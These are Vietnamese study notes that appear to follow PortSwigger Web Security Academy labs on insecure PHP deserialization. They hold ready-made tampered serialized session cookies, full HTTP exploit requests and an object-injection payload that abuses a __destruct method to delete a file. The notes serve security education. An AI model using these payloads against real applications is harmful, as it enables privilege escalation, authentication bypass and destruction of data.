How to Identify Insecure Deserialization

Trong quá trình kiểm tra, chúng ta nên xem xét tất cả dữ liệu được truyền vào trang web và cố gắng xác định bất cứ thứ gì trông giống như dữ liệu được tuần tự hóa. Dữ liệu được tuần tự hóa có thể được xác định tương đối dễ dàng nếu chúng ta biết định dạng mà các ngôn ngữ khác nhau sử dụng.

PHP Serialization Format

PHP sử dụng định dạng chuỗi chủ yếu có thể đọc được bởi con người, với các chữ cái đại diện cho kiểu dữ liệu và các số đại diện cho độ dài của mỗi mục.

Ví dụ, hãy xem xét một đối tượng User với các thuộc tính:

$user->name = "carlos";
$user->isLoggedIn = true;

Khi được tuần tự hóa, đối tượng này có thể trông giống như sau:

O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
  • O:4:"User" - Một đối tượng với tên lớp 4 ký tự "User"
  • 2 - đối tượng có 2 thuộc tính
  • s:4:"name" - Khóa của thuộc tính đầu tiên là chuỗi 4 ký tự "name"
  • s:6:"carlos" - Giá trị của thuộc tính đầu tiên là chuỗi 6 ký tự "carlos"
  • s:10:"isLoggedIn" - Khóa của thuộc tính thứ hai là chuỗi 10 ký tự "isLoggedIn"
  • b:1 - Giá trị của thuộc tính thứ hai là giá trị boolean true

Các phương thức gốc để tuần tự hóa PHP là serialize()unserialize().

Java Serialization Format

Một số ngôn ngữ, chẳng hạn như Java, sử dụng các định dạng tuần tự hóa nhị phân. Điều này khó đọc hơn, nhưng chúng ta vẫn có thể xác định dữ liệu được tuần tự hóa nếu chúng ta biết cách nhận ra một vài dấu hiệu nhận biết. Ví dụ, các đối tượng Java được tuần tự hóa luôn bắt đầu bằng các byte giống nhau, được mã hóa là ac ed trong hệ thập lục phân và rO0 trong Base64.

Bất kỳ lớp nào triển khai giao diện java.io.Serializable đều có thể được tuần tự hóa và giải tuần tự hóa. Nếu chúng ta có quyền truy cập mã nguồn, hãy lưu ý bất kỳ mã nào sử dụng phương thức readObject(), được sử dụng để đọc và giải tuần tự hóa dữ liệu từ một InputStream.

Manipulating Serialized Objects

Modifying Object Attributes

Khi giả mạo dữ liệu, miễn là kẻ tấn công bảo tồn một đối tượng được tuần tự hóa hợp lệ, quá trình giải tuần tự hóa sẽ tạo ra một đối tượng phía máy chủ với các giá trị thuộc tính đã được sửa đổi.

Như một ví dụ đơn giản, hãy xem xét một trang web sử dụng một đối tượng User được tuần tự hóa để lưu trữ dữ liệu về phiên của người dùng trong một cookie. Nếu một kẻ tấn công phát hiện ra đối tượng được tuần tự hóa này trong một HTTP request, họ có thể giải mã nó để tìm thấy luồng byte sau:

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

Giả sử trang web sử dụng cookie này để kiểm tra xem người dùng hiện tại có quyền truy cập vào một số chức năng quản trị nhất định hay không:

$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}

Mã dễ bị tấn công này sẽ khởi tạo một đối tượng User dựa trên dữ liệu từ cookie, bao gồm cả thuộc tính isAdmin đã được kẻ tấn công sửa đổi.

Lab: Modifying Serialized Objects

Cookie có định dạng sau:

Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d; Secure; HttpOnly; SameSite=None

Giải mã cookie session bằng base64:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

Chỉnh sửa giá trị của thuộc tính admin từ 0 thành 1 và mã hóa lại cookie:

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=

Chúng ta có thể truy cập trang quản trị:

GET /admin HTTP/2
Host: 0ac4008603d013c28006bcb000d100d1.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
 
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3104

Sử dụng cookie đó để xóa người dùng carlos:

POST /admin/delete?username=carlos HTTP/2
Host: 0ac4008603d013c28006bcb000d100d1.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
 
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Modifying Data Types

Logic dựa trên PHP đặc biệt dễ bị tấn công bởi loại thao tác này do hành vi của toán tử so sánh lỏng (==) của nó khi so sánh các kiểu dữ liệu khác nhau.

Điều bất thường là điều này cũng hoạt động với bất kỳ chuỗi chữ và số nào bắt đầu bằng một số. Trong trường hợp này, PHP sẽ chuyển đổi hiệu quả toàn bộ chuỗi thành một giá trị số nguyên dựa trên số ban đầu. Phần còn lại của chuỗi hoàn toàn bị bỏ qua. Do đó, 5 == "5 of something" trên thực tế được coi là 5 == 5.

Điều này trở nên kỳ lạ hơn khi so sánh một chuỗi với số nguyên 0. Bởi vì không có số, tức là 0 chữ số trong chuỗi, PHP coi toàn bộ chuỗi này là số nguyên 0:

0 == "Example string" // true

Hãy xem xét một trường hợp trong đó toán tử so sánh lỏng này được sử dụng kết hợp với dữ liệu có thể kiểm soát của người dùng từ một đối tượng được giải tuần tự hóa:

$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}

Giả sử một kẻ tấn công đã sửa đổi thuộc tính mật khẩu để nó chứa số nguyên 0 thay vì chuỗi dự kiến. Miễn là mật khẩu được lưu trữ không bắt đầu bằng một số, điều kiện sẽ luôn trả về true, cho phép bỏ qua xác thực.

Attention

Lưu ý rằng khi sửa đổi các kiểu dữ liệu trong bất kỳ định dạng đối tượng được tuần tự hóa nào, điều quan trọng là phải nhớ cập nhật bất kỳ nhãn kiểu và chỉ báo độ dài nào trong dữ liệu được tuần tự hóa. Nếu không, đối tượng được tuần tự hóa sẽ bị hỏng và sẽ không được giải tuần tự hóa.

Lab: Modifying Serialized Data Types

Đối tượng cookie session được tuần tự hóa ban đầu:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"m7nnz08yuhzs0cr1n2oc8eh673njwuat";}

Thay đổi giá trị của access_token thành số nguyên 0:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";i:0;}

Mã hóa lại và gửi request đến /admin, phản hồi cho thấy chúng ta có thể truy cập:

GET /admin HTTP/2
Host: 0a5f002203b53db080ba8a8300ff006c.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ%3d%3d
 
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3113

Sử dụng cookie đã sửa đổi để xóa người dùng carlos:

POST /admin/delete?username=carlos HTTP/2
Host: 0a5f002203b53db080ba8a8300ff006c.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ%3d%3d
 
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Using Application Functionality

Cũng như việc chỉ kiểm tra các giá trị thuộc tính, chức năng của một trang web cũng có thể thực hiện các thao tác nguy hiểm trên dữ liệu từ một đối tượng được giải tuần tự hóa. Trong trường hợp này, chúng ta có thể sử dụng insecure deserialization để truyền vào dữ liệu không mong muốn và tận dụng chức năng liên quan để gây thiệt hại.

Ví dụ, là một phần của chức năng “Delete user” của một trang web, ảnh hồ sơ của người dùng bị xóa bằng cách truy cập đường dẫn tệp trong thuộc tính $user->image_location. Nếu $user này được tạo từ một đối tượng được tuần tự hóa, một kẻ tấn công có thể khai thác điều này bằng cách truyền vào một đối tượng đã được sửa đổi với image_location được đặt thành một đường dẫn tệp tùy ý. Việc xóa tài khoản người dùng của chính họ sau đó cũng sẽ xóa tệp tùy ý này.

Lab: Using Application Functionality to Exploit Insecure Deserialization

Request xóa tài khoản ban đầu:

POST /my-account/delete HTTP/2
Host: 0ae50011039d87cd82899cf00001009e.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJiaXIzdWMwb3czbXFwaTFyYjZtemFzMTR6anM3YzBwayI7czoxMToiYXZhdGFyX2xpbmsiO3M6MTk6InVzZXJzL3dpZW5lci9hdmF0YXIiO30%3d

Cookie đã giải mã:

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bir3uc0ow3mqpi1rb6mzas14zjs7c0pk";s:11:"avatar_link";s:19:"users/wiener/avatar";}

Thay đổi username từ wiener thành carlos, mã hóa lại và gửi request:

POST /my-account/delete HTTP/2
Host: 0ae50011039d87cd82899cf00001009e.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7czoxMToiYXZhdGFyX2xpbmsiO3M6MTk6InVzZXJzL3dpZW5lci9hdmF0YXIiO30%3d

Phản hồi có thông báo lỗi này:

<p class=is-warning>
PHP Fatal error:  Uncaught Exception: (DEBUG: $access_tokens[$user-&gt;username] = tt78hdc49c098kbkodp6bx9ea4wqisk9, $user-&gt;access_token = 0, $access_tokens = [tt78hdc49c098kbkodp6bx9ea4wqisk9, hvx32dtmwcp8tq8i8pfwifi5lgaz6dab, bir3uc0ow3mqpi1rb6mzas14zjs7c0pk]) Invalid access token for user carlos in /var/www/index.php:8
Stack trace:
#0 {main}
  thrown in /var/www/index.php on line 8
</p>

Như chúng ta có thể thấy, nó tiết lộ tất cả các access token. Thử các token đó và phát hiện ra rằng access token cho carlostt78hdc49c098kbkodp6bx9ea4wqisk9. Sửa đổi cookie session:

O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"tt78hdc49c098kbkodp6bx9ea4wqisk9";s:11:"avatar_link";s:19:"users/wiener/avatar";}

Mã hóa lại và gửi request, phản hồi có một thông báo lỗi khác:

<p class=is-warning>
PHP Warning:  file_put_contents(users/carlos/disabled): failed to open stream: No such file or directory in /home/carlos/User.php on line 45
PHP Fatal error:  Uncaught Exception: Could not write to users/carlos/disabled in /home/carlos/User.php:46
Stack trace:
#0 Command line code(5): User-&gt;delete()
#1 {main}
  thrown in /home/carlos/User.php on line 46
</p>

Phản hồi này tiết lộ thư mục của người dùng carlos. Bây giờ, chúng ta sửa đổi đường dẫn đến tệp chúng ta muốn xóa:

O:4:"User":3:{s:8:"username";s:6:"carlos";s:12:"access_token";s:32:"c7etqjvh9ilwdroowgjkwr6x8vgvbi4o";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Mã hóa lại và gửi request:

POST /my-account/delete HTTP/2
Host: 0a6200540406960682b3807300ed0079.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJjN2V0cWp2aDlpbHdkcm9vd2dqa3dyNng4dmd2Ymk0byI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9

Mặc dù mã trạng thái là 500, nhưng exploit của chúng ta đã thành công.

Magic Methods

Info

Magic method là các phương thức đặc biệt được gọi tự động khi các sự kiện nhất định xảy ra. Phổ biến trong nhiều ngôn ngữ hướng đối tượng, chúng thường có tên với hai dấu gạch dưới. Ví dụ, __construct() của PHP được gọi khi một đối tượng lớp được tạo, tương tự như __init__() của Python.

Quan trọng nhất trong bối cảnh này, một số ngôn ngữ tự động gọi các magic method trong quá trình giải tuần tự hóa. Ví dụ, phương thức unserialize() của PHP gọi magic method __wakeup().

Trong Java, phương thức ObjectInputStream.readObject() đọc dữ liệu được tuần tự hóa và hoạt động giống như một hàm tạo để khởi tạo lại một đối tượng. Các lớp Serializable của Java có thể định nghĩa phương thức readObject() của riêng chúng như sau:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    // implementation
}

Một phương thức readObject() được định nghĩa theo cách này đóng vai trò như một magic method trong quá trình giải tuần tự hóa.

Injecting Arbitrary Objects

Các phương thức giải tuần tự hóa thường không kiểm tra những gì chúng đang giải tuần tự hóa. Điều này có nghĩa là chúng ta có thể truyền vào các đối tượng của bất kỳ lớp nào có thể tuần tự hóa có sẵn cho trang web, và đối tượng sẽ được giải tuần tự hóa. Điều này cho phép kẻ tấn công tạo ra các thể hiện của các lớp tùy ý một cách hiệu quả. Thực tế là đối tượng này không thuộc lớp mong đợi không quan trọng. Kiểu đối tượng không mong muốn có thể gây ra một ngoại lệ trong logic ứng dụng, nhưng đối tượng độc hại sẽ đã được khởi tạo vào thời điểm đó.

Để xây dựng một exploit đơn giản, kẻ tấn công sẽ tìm kiếm các lớp chứa các magic method giải tuần tự hóa, sau đó kiểm tra xem có bất kỳ lớp nào trong số đó thực hiện các thao tác nguy hiểm trên dữ liệu có thể kiểm soát hay không.

Lab: Arbitrary Object Injection in PHP

Hint

Chúng ta đôi khi có thể đọc mã nguồn bằng cách nối thêm một dấu ngã (~) vào tên tệp để lấy một tệp sao lưu do trình soạn thảo tạo ra.

Tìm thấy bình luận này trong phản hồi:

<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->

Truy cập /libs/CustomTemplate.php~ để lấy mã nguồn:

<?php
 
class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;
 
    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }
 
    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }
 
    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }
 
    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }
 
    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}
 
?>

Hàm unlink được sử dụng để xóa một tệp: PHP: unlink - Manual.

Tạo một đối tượng CustomTemplate được tuần tự hóa có lock_file_path là đường dẫn của tệp morale.txt trong thư mục chính của Carlos:

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

Mã hóa lại và gửi request đến /lib/CustomTemplate.php:

GET /libs/CustomTemplate.php HTTP/2
Host: 0abf001504b0117680171288007c0068.web-security-academy.net
Cookie: session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d
 
HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Và chúng ta đã thành công!

list
from outgoing([[Port Swigger - Exploiting Insecure Deserialization Vulnerabilities]])
sort file.ctime asc

Resources